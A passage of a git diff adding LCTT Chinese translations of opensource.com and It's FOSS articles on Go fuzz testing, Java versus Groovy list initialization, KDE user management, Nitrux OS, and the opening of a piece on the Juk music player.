https://opensource.com/article/21/10/first-phases-devsecops-transformation +[18]: https://opensource.com/article/21/10/devsecops-maturity-model +[19]: https://opensource.com/article/21/10/last-phases-devsecops-transformation +[20]: https://opensource.com/article/21/10/devsecops-team-effort +[21]: https://enterprisersproject.com/what-is-digital-transformation + diff --git a/published/202203/20220121 What you need to know about fuzz testing and Go.md b/published/202203/20220121 What you need to know about fuzz testing and Go.md new file mode 100644 index 0000000000..ac4f6733f9 --- /dev/null +++ b/published/202203/20220121 What you need to know about fuzz testing and Go.md @@ -0,0 +1,146 @@ +[#]: subject: "What you need to know about fuzz testing and Go" +[#]: via: "https://opensource.com/article/22/1/native-go-fuzz-testing" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lujun9972" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14367-1.html" + +你需要了解的 Go 中的模糊测试 +====== + +> Go 团队接受了新增对模糊测试的支持的提议。 + +![](https://img.linux.net.cn/data/attachment/album/202203/18/103123drbhbozibvt0vtib.jpg) + +[Go][2] 的应用越来越广泛。现在它是云原生软件、容器软件、命令行工具和数据库等等的首选语言。Go 很早之前就已经有了内建的 [对测试的支持][3]。这使得写测试代码和运行都相当简单。 + +### 什么是模糊测试? + +模糊测试fuzz testing(fuzzing)是指向你的软件输入非预期的数据。理想情况下,这种测试会让你的应用程序崩溃或有非预期的表现。抛开最终的结果,从程序对非预期的输入数据的处理结果中你可以得到很多信息,这样你就可以增加一些合适的错误处理。 + +任何一个软件都有对不同来源的输入或数据的接收说明,软件会对这些数据进行处理并返回适当的结果。软件开发后,测试工程师团队对其进行测试,找出软件中的错误,给出测试报告,并(由开发者)修复。通常测试的目的是验证软件的行为是否符合预期。测试又可以细分为不同的类型,如功能测试、集成测试、性能测试等等。每种测试方法关注软件功能的某一个方面,以便发现错误或者提升可靠性或性能。 + +模糊测试在这一测试过程上更进一步,尝试向软件程序输入一些“无效”或“随机”的数据。这种输入是故意的,期望得到的结果就是程序崩溃或输出异常,这样就可以暴露程序中的错误以便由开发者来修复它们。与其他测试类似,很少需要手动进行模糊测试,业界有大量的模糊测试工具可以将这个过程自动化。 + +### Go 中的软件测试 + +举个例子,假如你想测试 `add.go` 中的 `Add()` 函数,你可以在 `add_test.go` 中导入 `testing` 包并把测试体写在以 `TestXXX()` 开头的函数内。 + +考虑如下代码: + +``` +func Add(num1, num2 int) int { +} +``` + +在 `add_test.go` 文件中,你可能有如下测试代码: + +``` +import "testing" + +func TestAdd(t *testing.T) { +} +``` + +运行测试: + +``` +$ go test +``` + +### 新增对模糊测试的支持 + +Go 团队已经接受了 [新增对模糊测试的支持的提议][4],以进一步推动这项工作。这涉及到新增一个 `testing.F` 类型,在 `_test.go` 文件中新增 `FuzzXXX()` 函数,在 Go 工具中会新增一个 `-fuzz` 选项来执行这些测试。 + +在 `add_test.go` 文件中: + +``` +func FuzzAdd(f *testing.F) { +} +``` + +执行以下代码: + +``` +$ go test -fuzz +``` + +在本文编写时,这个 [功能还是试验性的][5],但是应该会在 1.18 发布版本中包含。(LCTT 译注:[Go 1.18][14] 刚刚发布,已经包含了对模糊测试的支持)目前很多功能如 `-keepfuzzing`、`-race` 等也还没有支持。Go 团队最近发布了一篇 [模糊测试教程][6],值得读一下。 + +### 安装 gotip 来获取最新的功能 + +如果你极度渴望在正式发布之前尝试这些功能,你可以使用 `gotip` 来测试即将正式发布的 Go 功能并反馈给他们。你可以使用下面的命令来安装 `gotip`。安装之后,你可以用 `gotip` 程序代替以前的 `go` 程序来编译和运行程序。 + +``` +$ go install golang.org/dl/gotip@latest +$ gotip download + +$ gotip version +go version devel go1.18-f009910 Thu Jan 6 16:22:21 2022 +0000 linux/amd64 +``` + +### 社区对于模糊测试的观点 + +软件社区中经常会讨论模糊测试,不同的人对模糊测试有不同的看法。有些人认为这是一种有用的技术,可以找到错误,尤其是在安全方面。然而考虑到模糊测试所需要的资源(CPU、内存),有人就认为这是一种浪费,而他们更愿意用其他的测试方法。即使在 Go 团队内部,意见也不统一。我们可以看到 Go 的联合创始人 Rob Pike 对模糊测试的使用和在 Go 中的实现是持轻微的怀疑态度的。 + +> ..._虽然模糊测试有助于发现某类错误,但是它会占用大量的 CPU 和存储资源,并且效益成本比率也不明确。我担心为了写模糊测试浪费精力,或者 git 仓库中充斥大量无用的测试数据_ +> +> ~[Rob Pike][7] + +然而,Go 安全团队的另一个成员,Filo Sottile,似乎对 Go 新增支持模糊测试很乐观,举了很多例子来支持,也希望模糊测试能成为开发过程中的一部分。 + +> _我想说模糊测试可以发现极端情况下的错误。这是我们作为安全团队对其感兴趣的原因:在极端情况下发现的错误可以避免在生产环境中成为弱点。_ +> +> _我们希望模糊测试能成为开发的一部分 —— 不只是构建或安全方面 —— 而是整个开发过程:它能提升相关代码的质量..._ +> +> ~[Filo Sottile][8] + +### 现实中的模糊测试 + +对我而言,模糊测试在发现错误以及让系统变得更安全和更有弹性方面似乎非常有效。举个例子,Linux 内核也会使用名为 [syzkaller][9] 的工具进行模糊测试,这个工具已经发现了 [大量][10] 错误。 + +[AFL][11] 也是比较流行的模糊测试工具,用来测试 C/C++ 写的程序。 + +之前也有对 Go 程序进行模糊测试的观点,其中之一就是 Filo 在 GitHub 评论中提到的 [go-fuzz][12]。 + +> _go-fuzz 的记录提供了相当惊人的证据,证明模糊处理能很好地找到人类没有发现的错误。根据我的经验,我们只需要消耗一点点 CPU 的时间就可以得到极端情况下非常高效的测试结果。_ + +### 为什么在 Go 中新增对模糊测试的原生支持 + +如果我们的需求是对 Go 程序进行模糊测试,之前的工具像 `go-fuzz` 就可以完成,那么为什么要在这种语言中增加原生支持呢?[Go 模糊测试设计草案][13] 中说明了这样做的一些根本原因。设计的思路是让开发过程更简单,因为前面说的工具增加了开发者的工作量,还有功能缺失。如果你没有接触过模糊测试,那么我建议你读一下设计草案文档。 + +> 开发者可以使用诸如 `go-fuzz` 或 `fzgo`(基于 `go-fuzz`)来解决某些需求。然而,已有的每种解决方案都需要在典型的 Go 测试上做更多的事,而且还缺少关键的功能。相比于其他的 Go 测试(如基准测试和单元测试),模糊测试不应该比它们复杂,功能也不应该比它们少。已有的解决方案增加了额外的开销,比如自定义命令行工具。 + +### 模糊测试工具 + +在大家期望 Go 语言新增功能的列表中,模糊测试是其中很受欢迎的一项。虽然现在还是试验性的,但在将要到来的发布版本中会变得更强大。这给了我们足够的时间去尝试它以及探索它的使用场景。我们不应该把它视为一种开销,如果使用得当它会是一种发现错误非常高效的测试工具。使用 Go 的团队应该推动它的使用,开发者可以写简单的模糊测试,测试团队去慢慢扩展以此来使用它全部的能力。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/native-go-fuzz-testing + +作者:[Gaurav Kamathe][a] +选题:[lujun9972][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD "Person using a laptop" +[2]: https://go.dev/ +[3]: https://pkg.go.dev/testing +[4]: https://github.com/golang/go/issues/44551 +[5]: https://go.dev/blog/fuzz-beta +[6]: https://go.dev/doc/tutorial/fuzz +[7]: https://github.com/golang/go/issues/44551#issuecomment-784584785 +[8]: https://github.com/golang/go/issues/44551#issuecomment-784655571 +[9]: https://github.com/google/syzkaller +[10]: https://github.com/google/syzkaller/blob/master/docs/linux/found_bugs.md +[11]: https://github.com/google/AFL +[12]: https://github.com/dvyukov/go-fuzz +[13]: https://go.googlesource.com/proposal/+/master/design/draft-fuzzing.md +[14]: https://go.dev/blog/go1.18 \ No newline at end of file diff --git a/published/202203/20220125 Creating and initializing lists in Java and Groovy.md b/published/202203/20220125 Creating and initializing lists in Java and Groovy.md new file mode 100644 index 0000000000..3e60c8f19e --- /dev/null +++ b/published/202203/20220125 Creating and initializing lists in Java and Groovy.md @@ -0,0 +1,171 @@ +[#]: subject: "Creating and initializing lists in Java and Groovy" +[#]: via: "https://opensource.com/article/22/1/creating-lists-groovy-java" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14411-1.html" + +在 Java 和 Groovy 中创建和初始化列表的不同 +====== + +> 首先在 Java 中创建初始化一个整数列表,然后在 Groovy 中做同样的事。 + +![](https://img.linux.net.cn/data/attachment/album/202203/29/214023b4r9rauua1gjp59l.jpg) + +我非常喜欢 [Groovy 编程语言][2]。我喜欢它是因为我喜欢 Java,尽管 Java 有时候感觉很笨拙。正因为我是那么喜欢 Java,其他运行在 JVM 上语言都不能吸引我。比方说 Kotlin、Scala 还有 Clojure 语言,它们感觉上就和 Java 不一样,因为它们对于什么是好的编程语言的理解不同。Groovy 和它们都不一样,在我看来,Groovy 是一个完美的选项,特别是对于一部分程序员来说,他们喜欢 Java,但是又需要一个更灵活、更紧凑,并且有时候更直接的语言。 + +列表List 这种数据结构是一个很好的例子,它可以容纳一个无序的列表,列表中的元素可以是数字、字符串或者对象,程序员可以用某种方式高效地遍历这些元素,特别是对于编写和维护脚本的人来说,“高效”的关键就是要有简洁清晰的表达,而不需要一大堆“仪式”,把代码的意图都变模糊了。 + +### 安装 Java 和 Groovy + +Groovy 是基于 Java 的,因此需要同时安装一个 Java 才行。你的 Linux 发行版的仓库中可能有最近的比较好的 Java 版本。或者,你也可以在根据 [这些指导][3] 来安装 Groovy。对于 Linux 用户来说,SDKMan 是一个不错的代替选项,你可以使用它来获取多个 Java 和 Groovy 版本,以及许多其他的相关工具。在这篇文章中,我使用的 SDK 发行版是: + + * Java: OpenJDK 11 的 11.0.12-open 版本 + * Groovy: 3.0.8 版本 + +### 言归正传 + +Java 中有很多方法可以实例化并初始化列表,从它最初被引入的时候就有了(我记得是在 Java 1.5 的时候,但请不要引用我的话)。在这些方法里,有两个有趣的方法,它们涉及到了 `java.util.Arrays` 和 `java.util.List` 这两个类。 + +#### 使用 java.util.Arrays 类 + +`java.util.Arrays` 类定义了一个 `asList()` 静态方法,它可以被用来创建一个基于数组的列表,因此大小是不可变的,尽管其中的元素是可以被修改的。下面是它的使用方式: + + +``` +var a1 = Arrays.asList(1,2,3,4,5,6,7,8,9,10); // immutable list of mutable elements + +System.out.println("a1 = " + a1); +System.out.println("a1 is an instance of " + a1.getClass()); + +// output is +// a1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] +// a1 is an instance of class java.util.Arrays$ArrayList + +a1.set(0,0); // succeeds +System.out.println("a1 = " + a1); // output is +// a1 = [0, 2, 3, 4, 5, 6, 7, 8, 9, 10] + +a1.add(11); // fails producing +// Exception in thread "main" java.lang.UnsupportedOperationException +System.out.println("a1 = " + a1); // not reached +``` + +#### 使用 java.util.List 类 + +`java.util.List` 类定义了一个 `of()` 静态方法,它可以被用来创建一个不可变的列表,其中的元素是否可变要取决于它们本身是否支持修改。下面是它的使用方式: + +``` +var a2 = List.of(1,2,3,4,5,6,7,8,9,10); + +System.out.println("a2 = " + a2); +System.out.println("a2 is an instance of " + a2.getClass()); + +// output is +// a2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] +// a2 is an instance of class java.util.ImmutableCollections$ListN + +a2.set(0,0); // fails producing +// Exception in thread "main" java.lang.UnsupportedOperationException +System.out.println("a2 = " + a2); // not reached + +a2.add(11); // also fails for same reason if above two lines commented out +System.out.println("a2 = " + a2); // not reached +``` + +因此,我可以使用 `Arrays.asList()`,也可以使用 `List.of()` 方法,前提是如果我想要的是一个大小不能改变、且不关心元素是否可变的列表。 + +如果我想要初始化一个可变的列表,我更倾向于把这些不可变的列表作为参数传给一个列表构造器,就像下面这样: + + +``` +var a1 = new ArrayList(Arrays.asList(1,2,3,4,5,6,7,8,9,10)); + +System.out.println("a1 = " + a1); +System.out.println("a1 is an instance of " + a1.getClass()); + +// output is +// a1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] +// a1 is an instance of class java.util.ArrayList + +a1.set(0,0); +System.out.println("a1 = " + a1); + +//output is +// a1 = [0, 2, 3, 4, 5, 6, 7, 8, 9, 10] + +a1.add(11); +System.out.println("a1 = " + a1); + +// output is +// a1 = [0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11] +``` + +注意,这个 `Arrays.asList()` 方法是用来初始化这个新的 `ArrayList()` 的,也就是说,它为这个传进来的列表创建了一个可变的拷贝。 + +现在,或许只有我这么想,但是这种方式确实看起来需要理解很多关于 `java.util.Arrays` 和 `java.util.List` 类的细节才行,而我只是想要创建并初始化一个数字列表而已(尽管真正使用到的语句并没有太多“仪式”)。下面是真正用到的那行代码,仅供参考: + +``` +var a1 = new ArrayList(Arrays.asList(1,2,3,4,5,6,7,8,9,10)); +``` + +### Groovy 是怎么做的 + +下面来看看在 Groovy 中如何实现上述需求: + +``` +def a1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] + +println "a1 = $a1" +println "a1 is an instance of ${a1.getClass()}" + +// output is +// a1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] +// a1 is an instance of class java.util.ArrayList + +a1[0] = 0 +println "a1 = $a1" + +// output is +// a1 = [0, 2, 3, 4, 5, 6, 7, 8, 9, 10] + +a1 << 11 +println "a1 = $a1" + +// output is +// a1 = [0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11] +``` + +我们一眼就能发现,Groovy 使用了 `def` 关键字而不是 `var` 关键字。我还发现了,仅仅是把一系列的类型(在这个例子里是整数)放进括号里,我就得到了一个创建好的列表。此外,这样创建出来的列表完全就是我想要的:一个可变的 `ArrayList` 实例。 + +现在,或许再一次只有我这么想,但是上面的代码看起来要简单多得多 —— 不用记住 `.of()` 和 `.asList()` 返回的是“半不变semi-mutable”的结果,也不用为它们做一些补偿。另外一个好处是,我现在可以使用括号和下标来引用列表中的某个特定元素,而不用这个叫 `set()` 方法。另外,这个跟在列表后面的 `<<` 操作符也很方便,我再也不用调用 `add()` 方法来添加元素啦。还有,你注意到代码中没有分号了吗?没错,在 Groovy 里,句末的分号并不是必须的。最后,我们来看看字符串插值,只要在字符串里用 `$变量` 或者 `${表达式}` 就可以实现了哦! + +在 Groovy 世界中还藏着许多“有待发掘”的东西。上面的列表定义其实是一个动态类型(Groovy 中默认)和 Java 中的静态类型的对比。在上面的 Groovy 代码定义的那一行,变量 `a1` 的类型是在运行的时候,根据等号右边的表达式的计算结果推断出来的。现在我们都知道,动态语言可以给我们带来强大的功能,有了强大的功能,我们有了很多机会去尝试不同的东西。对于那些不喜欢动态类型的程序员来说,Groovy 也支持静态类型。 + +### Groovy 相关资源 + +Apache Groovy 网站上有非常多的文档。另一个很棒的 Groovy 资源是 [Mr. Haki][7]。学习 Groovy 还有一个很棒的原因,那就是可以接着学习 [Grails][8],后者是一个优秀的、高效率的全栈 Web 框架,基于许多优秀组件构建而成,比如有 Hibernate、Spring Boot 和 Micronaut 等。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/creating-lists-groovy-java + +作者:[Chris Hermansen][a] +选题:[lujun9972][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_development_programming.png?itok=M_QDcgz5 (Developing code.) +[2]: http://www.groovy-lang.org/ +[3]: http://www.groovy-lang.org/install.html +[4]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+arrays +[5]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+system +[6]: http://www.google.com/search?hl=en&q=allinurl%3Adocs.oracle.com+javase+docs+api+list +[7]: https://www.mrhaki.com/ +[8]: https://grails.org/ diff --git a/published/202203/20220218 Add, switch, delete, and manage Linux users in KDE.md b/published/202203/20220218 Add, switch, delete, and manage Linux users in KDE.md new file mode 100644 index 0000000000..4eb51b325c --- /dev/null +++ b/published/202203/20220218 Add, switch, delete, and manage Linux users in KDE.md @@ -0,0 +1,88 @@ +[#]: subject: "Add, switch, delete, and manage Linux users in KDE" +[#]: via: "https://opensource.com/article/22/2/manage-linux-users-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14322-1.html" + +在 KDE 中添加、切换、删除和管理 Linux 用户 +====== + +> 在一台电脑上维护独立的用户是一种奢侈,也是保护你自己和你关心的人的数据安全的一个好方法。 + +![](https://img.linux.net.cn/data/attachment/album/202203/03/104151iwevek3xzcr1113u.jpg) + +在一个家庭中共享一台电脑通常是一件很随意的事情。当你需要电脑时,你拿起它并开始使用它。这在理论上很简单,而且大部分情况下是有效的。也就是说,直到你不小心拿起公用电脑,不小心把你的服务器的正常运行时间的截图发到你伴侣的烹饪博客上。然后,就到了建立独立用户帐户的时候了。 + +从一开始,Linux 就是一个多用户系统。它的设计是把每个用户,只要他们登录,都当作一个独特的人,有一个属于他们自己的桌面,一个独特的网络浏览器配置文件,访问他们自己的文档和文件,等等。KDE Plasma 桌面做了很多工作,使得从一个帐户切换到另一个帐户很容易,但首先你必须为每个你期望使用电脑的人设置一个用户帐户。你也可以为客人设置一个特殊的帐户(我称这个帐户为 `guest`)。 + +### 在 KDE 中添加用户 + +在 Linux 上有不同的方法来添加用户。一种方法是系统管理员式的 [使用终端][2]。当你有很多用户需要添加时,这是非常有效的,所以你想把这个过程自动化或者只是减少鼠标点击的次数。 + +不过在 Plasma 桌面上,你可以用用户Users程序来添加用户。用户Users实际上是系统设置System Settings中的一个控制面板,但你可以从你的应用菜单中启动它,就像它是一个独立的应用。 + +![Users in KDE System Settings][3] + +要添加一个用户,点击窗口底部的添加新用户Add New User按钮。 + +![Adding a user in KDE][5] + +给新用户一个名字Name和一个用户名Username。这些可能是相同的,但意图是他们的名字是他们的姓名,而他们的用户名是他们用于使用的入口。例如,我的名字是 “Seth Kenlon”,而我的用户名是 `seth`。 + +将新用户指定为标准用户Standard管理员Administraor。标准用户只对自己的环境有完全的控制权。他们可以 [安装 Flatpak][6] 并将数据保存到他们的主目录,但他们不能影响机器上的其他用户。这是有用户帐户的好处之一。我不会认为我允许使用我的电脑的任何人打算删除对我很重要的数据,但意外还是发生了。通过为我自己和我的伴侣创建一个单独的用户帐户,我在保护我们每个人的数据,我也在保护我们每个人,避免意外地移动一个文件或误放对另一个人很重要的数据。 + +管理员可以进行全系统的更改。我通常在我的电脑上为自己保留这个角色,我也希望我的伴侣在她自己的电脑上为自己保留这个角色。然而,在工作中,这个角色属于 IT 部门。 + +为用户创建一个密码Password,并重复确认Confirm。登录后,新用户可以改变他们的密码。 + +要完成用户创建,请点击创建Create按钮。 + +### 切换用户 + +在桌面有两种不同的方式来切换用户。你可以注销,然后让另一个用户登录,或者你可以从应用菜单的电源/会话Power / Sessions子菜单中选择切换用户Switch user。 + +![Switching users in KDE][7] + +当一个新用户登录时,你的当前桌面会被“冻结”或暂停,而另一个用户的新桌面会被调出来。你所有的窗口都保持打开。你甚至可以在游戏中切换用户(如果你正在战斗中,你应该先暂停一下),当你切换回来时,你可以从你离开的地方继续。更好的是,你的所有进程也会继续运行。所以你可以在渲染视频或编译代码时切换用户,当你切换回来时,你的视频已经完成了渲染,或者你的代码已经完成了编译(只要有足够的时间)。 + +![Login][8] + +### 删除用户 + +当我有客人时,我经常在他们的逗留期间创建一个客人帐户,当他们离开后,我就删除这个帐户。 + +你可以通过删除一个用户的用户帐户来从你的电脑中删除该用户。这将删除他们的所有数据,所以要确保你要删除的用户已经把他们需要的东西从机器上迁移掉了! + +删除用户Delete User按钮位于用户Users控制面板中的每个用户帐户下,也就是你最初创建用户的地方。 + +![Deleting a user][9] + +### Linux 用户管理 + +在计算机上维护独立的用户是一种奢侈,也是保护你自己的数据和你关心的人的数据安全的好方法。它允许每个用户都是独一无二的,并使桌面成为他们自己的。在 Linux 中,这很容易,而且没什么影响,因此可以为朋友、房客和家人创建用户。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/manage-linux-users-kde + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/connection_people_team_collaboration.png?itok=0_vQT8xV (people in different locations who are part of the same team) +[2]: https://www.redhat.com/sysadmin/linux-commands-manage-users +[3]: https://opensource.com/sites/default/files/kde-users.jpg (Users in KDE System Settings) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/kde-users-add.jpg (Adding a user in KDE) +[6]: https://opensource.com/article/21/11/install-flatpak-linux +[7]: https://opensource.com/sites/default/files/kde-users-switch.jpg (Switching users in KDE) +[8]: https://opensource.com/sites/default/files/kde-users-login.jpg (Login) +[9]: https://opensource.com/sites/default/files/kde-users-delete.jpg (Deleting a user) diff --git a/published/202203/20220221 6 Reasons to Try Nitrux OS.md b/published/202203/20220221 6 Reasons to Try Nitrux OS.md new file mode 100644 index 0000000000..d113e1dc73 --- /dev/null +++ b/published/202203/20220221 6 Reasons to Try Nitrux OS.md @@ -0,0 +1,151 @@ +[#]: subject: "6 Reasons to Try Nitrux OS" +[#]: via: "https://news.itsfoss.com/reasons-to-try-nitrux-os/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14359-1.html" + +尝试 Nitrux 系统的六大理由 +====== + +> Nitrux OS 是一个基于 Debian 的有趣的 Linux 发行版。还没有试过吗?我认为你应该试试。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/nitrux-os-try.jpg?w=1200&ssl=1) + +Nitrux 系统也许算不上 Linux 的主流发行版本之一,但它绝对是一款极其独特的产品。 + +2019 年,我们 [采访了 Nitrux 的创始人 Uri Herrera][1],了解到 Herrera 等人开发这款系统的初衷:超越传统的 Linux 发行版。 + +自那之后,过了许久,我们终于迎来了 [Nitrux 2.0 版本][2]。 + +不要忘了,Nitrux 在去年 [放弃基于 Ubuntu,而选择了 Debian][3]。 + +考虑到自 Nitrux 发行以来的数年间,也发生了许多变化,你应该尝试一下这款系统。 + +这里,我要分享一些体验 [Nitrux 系统][4] 的理由: + +### 1、Nitrux 不再基于 Ubuntu + +![][5] + +人们一般都会推荐基于 Ubuntu 的 Linux 发行版本,来满足日常所需。 + +当然,在我们 [为新手推荐的 Linux 系统][6] 中,也主要是许多基于 Ubuntu 的版本,但是请不要误会。 + +我们之所以推荐基于 Ubuntu 的发行版本,唯一的理由在于它们简单易用,支持大量的商业软件。 + +所以,如果你不是刚开始使用 Linux 系统,同时也想尝试既能让你耳目一新,又不至于使你感到陌生,而且十分稳定的发行版,基于 Debian 的 Nirtux 是一个不错的选择。 + +你完全不需要在短期内迅速了解这款系统,就可以得心应手地使用终端来完成各项工作。 + +感兴趣的话,可以参考我们的文章 [Debian vs Ubuntu][7],了解更多。 + +### 2、专注 AppImage + +![][5a] + +[AppImage][8] 是一个通用的打包系统,这种软件包不需要任何依赖。你不需要在 Linux 上安装任何软件包管理器或者依赖包,就可以直接运行 AppImage 应用。 + +AppImage 旨在打造便携、高效的软件包系统,省去安装的步骤,与 Windows 系统的便携版软件非常相似。 + +Nitrux 操作系统专注 AppImage 应用软件,为你带来流畅的用户体验。 + +NX 软件中心是一个 GUI 程序,用户可以通过使用 Mauikit(该软件中心的 UI 框架),安装、管理 AppImage 应用程序。 + +### 3、基于 KDE 桌面环境的发行版 + +![][5b] + +Nitrux 操作系统是 [搭载 KDE 桌面环境中最好的 Linux 发行版][9] 之一。 如果你不喜欢 GNOME 或者其他开箱即用的桌面环境(DE),KDE 会是一个不错的选择。 + +也许你还不知道, 相较于其他桌面环境,[KDE 可以在很多方面进行定制][10]。 + +因此,在 KDE 桌面环境下,你可以毫不费力地打造自己的个性化桌面。 + +### 4、独特的用户体验 + +![][11] + +Nitrux 的用户体验结合了最好的 KDE 桌面环境与 Qt 技术,并对这些进行了调整,为你带来全新的用户体验。 + +虽然在使用 Nitrux 操作系统时,你不会觉得十分陌生,但是还是会感到有些许的不同。 + +即使你没有对 Nitrux 系统做任何自定义的设置,开箱即用的体验也足以让它成为 [最优雅的发行版][12] 之一。 + +### 5、Maui Shell + +![][11a] + +[Maui Shell][13] 是 Nitrux 用户体验的亮点之一。近来,Maui Shell 得到了进一步的完善,将这些呈现在了桌面端和移动端的融合界面上。 + +尽管 Maui Shell 目前还不成熟,但是外观看起来十分大气简约,就像 [System76 将要推出基于 Rust 的桌面环境][14] 一样令人兴奋。 + +这也是我们推荐尝试 Nitrux 操作系统最重要的原因之一。时间会证明,Nitrux 系统是否将会开启桌面体验的全新时代。 + +### 6、Xanmod 内核 + +![][5c] + +[Xanmod 内核][15] 是一个定制的主线 Linux 内核版本,对性能进行了适当的调整,附加了一些其他功能。有了它,你的桌面体验一定能得到大幅提升。 + +自 2.0 版本起,Nitrux 操作系统选用 Xanmod 作为默认内核,为用户提供“升级版”的桌面体验。 + +当然你也可以选择其他 Linux 内核,比如 Liquorix 和 Libre,各擅胜场。 + +如果你不喜欢 Xanmod,也可以选择长期支持版的主线内核。在 Nitrux 操作系统上,你完全可以无缝切换使用不同的内核。 + +- [Nitrux OS][4] + +### 总结 + +诚然,从主流发行版转到像 Nitrux 这样的操作系统,需要考虑各种风险。 + +但是,**我建议你好好考虑一番:** + +Nitrux 这样的发行版热衷于按照他们的愿景来改进事情。 + +尽管背后没有强大的企业和财力支撑,他们依然可以开发出这款令人惊艳的发行版、开发出 [Maui 项目][16],以及别开生面的 Maui shell。 + +所以,我认为,我们也应该以己所能,尽己之力,支持这些优秀的发行版。 + +不过话说回来,每一款 Linux 发行版都会或多或少地存在一些问题。当你试用一款新的发行版时,你需要给它点儿时间,在最终将它作为日常使用的操作系统之前,慢慢地去适应它。 + +换言之,我推荐你在业余时间试用 Nitrux 操作系统,或者直接装个虚拟机来一探究竟。 + +我很关注大家对这篇文章的看法,请在下方评论留言。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/reasons-to-try-nitrux-os/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/nitrux-linux/ +[2]: https://news.itsfoss.com/nitrux-2-0-release/ +[3]: https://news.itsfoss.com/nitrux-linux-debian/ +[4]: https://nxos.org/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/not-ubuntu-illustration.png?w=1000&ssl=1 +[6]: https://itsfoss.com/best-linux-beginners/ +[7]: https://linux.cn/article-13746-1.html +[5a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/appimage-illustration.png?w=1000&ssl=1 +[8]: https://itsfoss.com/use-appimage-linux/ +[5b]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/kde-illustration.png?w=1000&ssl=1 +[9]: https://itsfoss.com/best-kde-distributions/ +[10]: https://itsfoss.com/kde-customization/ +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/nitrux-2-visual.png?resize=1568%2C882&ssl=1 +[12]: https://itsfoss.com/beautiful-linux-distributions/ +[11a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/maui-shell.png?w=1200&ssl=1 +[13]: https://news.itsfoss.com/maui-shell-unveiled/ +[14]: https://news.itsfoss.com/system76-cosmic-panel/ +[5c]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/xanmod-kernel-illustration.png?w=1000&ssl=1 +[15]: https://xanmod.org/ +[16]: https://mauikit.org diff --git a/published/202203/20220223 Listen to your favorite music on Linux with Juk.md b/published/202203/20220223 Listen to your favorite music on Linux with Juk.md new file mode 100644 index 0000000000..f0d1d7eea2 --- /dev/null +++ b/published/202203/20220223 Listen to your favorite music on Linux with Juk.md @@ -0,0 +1,101 @@ +[#]: subject: "Listen to your favorite music on Linux with Juk" +[#]: via: "https://opensource.com/article/22/2/listen-music-linux-juk-kde" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14329-1.html" + +用 Juk 在 Linux 上听你喜欢的音乐 +====== + +> Juk 是 Linux 上的 KDE Plasma 桌面的默认开源音乐播放器。 + +![](https://img.linux.net.cn/data/attachment/album/202203/05/180154hu1nse2p2crv5q1r.jpg) + +KDE 项目不只是提供了一个著名的桌面,它还产生了很多软件,从 [视频编辑][2]、[摄影][3] 和 [插图][4] 